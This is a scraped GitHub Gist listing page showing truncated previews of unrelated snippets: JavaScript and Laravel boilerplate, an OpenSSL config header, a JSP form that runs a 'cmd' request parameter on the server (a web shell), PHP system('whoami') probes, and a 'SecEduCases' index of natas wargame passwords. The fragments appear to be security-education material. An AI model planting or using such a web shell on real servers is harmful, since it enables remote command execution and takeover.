Skip to content

Instantly share code, notes, and snippets.

!function(e) {
if ("object" == typeof exports && "undefined" != typeof module)
module.exports = e();
else if ("function" == typeof define && define.amd)
define([], e);
else {
("undefined" != typeof window ? window : "undefined" != typeof global ? global : "undefined" != typeof self ? self : this).frameService = e()
}
}((function() {
return function e(t, n, r) {
#
# OpenSSL example configuration file.
# This is mostly being used for generation of certificate requests.
#
# This definition stops the following lines choking if HOME isn't
# defined.
HOME = .
RANDFILE = $ENV::HOME/.rnd
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
<?php
system("whoami");
?>
<?php
system("whoami");
?>
@ziyahan
ziyahan / seceduindex.txt
Last active April 30, 2017 07:56
SecEduCases
https://tinyurl.com/secedu1 (natas2 - ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi)
https://tinyurl.com/secedu2 (natas3 - sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14)
https://tinyurl.com/secedu5 (natas9 - W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl)
// You can define a spesific route
Route::get('user/{id}/profile', ['middleware'=>'acl','as' => 'UserProfile', function ($id) {
//
}]);
<?php
namespace App\Http\Middleware;
use Closure;
class CheckPermission
{
/**
* Handle an incoming request.
*
* @param \Illuminate\Http\Request $request
* @param \Closure $next
<?php
return [
/*
|--------------------------------------------------------------------------
| Application Debug Mode
|--------------------------------------------------------------------------
|
| When your application is in debug mode, detailed error messages with
| stack traces will be shown on every error that occurs within your
| application. If disabled, a simple generic error page is shown.